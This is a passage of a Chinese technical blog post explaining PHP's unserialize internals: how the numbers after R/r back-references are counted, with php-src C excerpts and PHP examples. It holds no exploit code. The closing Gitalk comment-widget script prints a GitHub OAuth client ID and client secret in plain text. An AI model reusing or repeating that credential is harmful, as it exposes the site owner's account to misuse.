class=\"built_in\"\u003ezend_hash_index_find_ptr\u003c/span\u003e((*var_hash)-\u0026gt;ref_props, (\u003cspan class=\"keyword\"\u003ezend_uintptr_t\u003c/span\u003e)rval_ref);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eZVAL_NEW_REF\u003c/span\u003e(rval_ref, rval_ref);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (info) { \u003cspan class=\"built_in\"\u003eZEND_REF_ADD_TYPE_SOURCE\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eZ_REF_P\u003c/span\u003e(rval_ref), info); }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// R end\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eZVAL_COPY\u003c/span\u003e(rval, rval_ref);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"数字\"\u003e数字\u003c/h3\u003e\u003cp\u003e那么,R/r后面跟的数字是怎么决定的呢?首先我们先来“黑箱分析”一下:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// e.g 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e[\u003cspan class=\"number\"\u003e0\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a:2:{i:0;O:8:\u0026#34;stdClass\u0026#34;:0:{}i:1;R:2;} ⬇️ 注意这,变了\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evar_dump(unserialize(\u003cspan class=\"string\"\u003e\u0026#39;a:2:{i:0;O:8:\u0026#34;stdClass\u0026#34;:0:{}i:1;R:1;}\u0026#39;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/* 压缩了一下(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003earray(2) {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [0]=\u0026gt; object(stdClass)#2 (0) {}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [1]=\u0026gt; array(2) {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [0]=\u0026gt; object(stdClass)#2 (0) {}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [1]=\u0026gt; *RECURSION*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e }\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// e.g 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;b = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e-\u0026gt;a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// O:8:\u0026#34;stdClass\u0026#34;:2:{s:1:\u0026#34;a\u0026#34;;i:1;s:1:\u0026#34;b\u0026#34;;R:2;} ⬇️ 同上\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evar_dump(unserialize(\u003cspan class=\"string\"\u003e\u0026#39;O:8:\u0026#34;stdClass\u0026#34;:2:{s:1:\u0026#34;a\u0026#34;;i:1;s:1:\u0026#34;b\u0026#34;;R:1;} \u0026#39;\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003eobject(stdClass)#3 (2) {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [\u0026#34;a\u0026#34;]=\u0026gt; int(1)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e [\u0026#34;b\u0026#34;]=\u0026gt; *RECURSION*\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e相信大家定睛看两眼上面的例子就能猜出,R/r后面的数字指代的是在 \u003cem\u003e\u003cstrong\u003e同一反序列化过程中\u003c/strong\u003e\u003c/em\u003e\u003cbr/\u003e出现过的第n个非键(key)对象(我又在瞎起名字了)\u003c/p\u003e\u003cp\u003e看过上面的源码以后很容易猜到,在反序列化过程中:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (id == \u003cspan class=\"number\"\u003e-1\u003c/span\u003e || (rval_ref = \u003cspan class=\"built_in\"\u003evar_access\u003c/span\u003e(var_hash, id)) == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) { \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e; }\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这一步正是上面取值的关键。在反序列化过程中我们看到 \u003ccode\u003ephp_var_unserialize_internal\u003c/code\u003e 函数在一开头就进行了 \u003ccode\u003evar_push(var_hash, rval);\u003c/code\u003e 这样的操作(当然前提是反序列化的对象的标记不能是’R’,因为“引用”本身如果也计算在内,那么就有可能出现循环引用。浙恒河里),而 \u003ccode\u003evar_push\u003c/code\u003e 正是向列表 \u003ccode\u003evar_hash\u003c/code\u003e append一个新的元素。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e其实 \u003ccode\u003evar_hash\u003c/code\u003e 并不单单是一个列表,只是本文为方便这么说罢了。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cem\u003e\u003cstrong\u003e此处小重点\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\u003cp\u003e这时候就有同学要问了,数组的index是数字,对象的属性名是字符串,它们都存在于反序列化过程当中,为什么它们没有被append进 \u003ccode\u003evar_hash\u003c/code\u003e 呢?我们回头看一下 \u003ccode\u003evar_push\u003c/code\u003e 的条件:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (var_hash \u0026amp;\u0026amp; (*p)[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] != \u003cspan class=\"string\"\u003e\u0026#39;R\u0026#39;\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e后面那个’R’已经在恒河里了,那么前面那个 \u003ccode\u003evar_hash\u003c/code\u003e 非 NULL 的判断意义何在呢?\u003cbr/\u003e桥豆麻袋,\u003ccode\u003evar_hash\u003c/code\u003e 是哪里来的呢?\u003cbr/\u003e\u003ccode\u003ephp_var_unserialize_internal\u003c/code\u003e 的参数里有个宏\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e UNSERIALIZE_PARAMETER \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zval *rval, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e **p, \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *max, \\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ephp_unserialize_data_t\u003c/span\u003e *var_hash\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ephp_var_unserialize_internal\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e as_key)\u003c/span\u003e\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e任何看了源码的人看到这里都会\u0026lt;龙门粗口\u0026gt;,槽点实在是太多了\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e自然而然地,我们回去看这个internal是怎么调用的,看看什么情况下传入的 \u003ccode\u003evar_hash\u003c/code\u003e 为 NULL:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 高度简化版\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003ephp_var_unserialize_internal\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e as_key)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e match \u003cspan class=\"string\"\u003e\u0026#34;a:\u0026lt;arr_len\u0026gt;\u0026#34;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprocess_nested_data\u003c/span\u003e(UNSERIALIZE_PASSTHRU, ...);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e match \u003cspan class=\"string\"\u003e\u0026#34;O:\u0026lt;type\u0026gt;:\u0026lt;cnt_attrs\u0026gt;\u0026#34;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eobject_common\u003c/span\u003e(UNSERIALIZE_PASSTHRU, ...);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003einline\u003c/span\u003e \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eobject_common\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, zend_long elements, zend_bool has_unserialize)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprocess_nested_data\u003c/span\u003e(UNSERIALIZE_PASSTHRU, ...);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e zend_always_inline \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"title\"\u003eprocess_nested_data\u003c/span\u003e\u003cspan class=\"params\"\u003e(UNSERIALIZE_PARAMETER, HashTable *ht, zend_long elements, zend_object *obj)\u003c/span\u003e \u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e (elements-- \u0026gt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zval key, *data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e zend_property_info *info = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephp_var_unserialize_internal\u003c/span\u003e(\u0026amp;key, p, max, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// assert type(key) == string or type(key) == long\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (obj) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// assert string(key) in dir(obj)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// obj[key] = new ref info // zend_get_typed_property_info_for_slot\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ephp_var_unserialize_internal\u003c/span\u003e(data, p, max, var_hash, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (info) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// some checks\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003ezend_ref_add_type_source\u003c/span\u003e(\u003cspan class=\"built_in\"\u003eZ_REF_P\u003c/span\u003e(data), info);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 略\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以看到,当反序列化数组、对象这种东西的时候,只有反序列化 \u003cem\u003e\u003cstrong\u003e值\u003c/strong\u003e\u003c/em\u003e 时会传入 \u003ccode\u003evar_hash\u003c/code\u003e 这个列表, \u003cem\u003e\u003cstrong\u003e键\u003c/strong\u003e\u003c/em\u003e 并不存在于这个对象中的列表中。真相大白。\u003c/p\u003e\u003ch2 id=\"有趣的事情\"\u003e有趣的事情\u003c/h2\u003e\u003ch3 id=\"1\"\u003e1\u003c/h3\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"built_in\"\u003estdClass\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] = \u0026amp;\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e serialize(\u003cspan class=\"variable\"\u003e$x\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// a:2:{i:0;O:8:\u0026#34;stdClass\u0026#34;:0:{}i:1;a:2:{i:0;r:2;i:1;R:3;}}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这就是序列化部分的事情了。可是今天实在不想写了。\u003c/p\u003e\u003ch3 id=\"2\"\u003e2\u003c/h3\u003e\u003cp\u003eC++的引用实际上并不一定占用堆栈空间。对对象的解引用\u003ca href=\"https://en.cppreference.com/w/cpp/language/reference#:~:text=they%20do%20not%20necessarily%20occupy%20storage\"\u003e很有可能\u003c/a\u003e是在编译期间完成的。\u003c/p\u003e\u003ch2 id=\"求Star\"\u003e求Star\u003c/h2\u003e\u003cp\u003e建议去点个star,\u003ca href=\"https://github.com/frankli0324/libphpserialize\"\u003e\u003cimg src=\"https://img.shields.io/github/stars/frankli0324/libphpserialize.svg?style=flat\u0026amp;label=秋梨膏\" style=\"display:inherit\"/\u003e\u003c/a\u003e!!!\u003c/p\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"/\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); 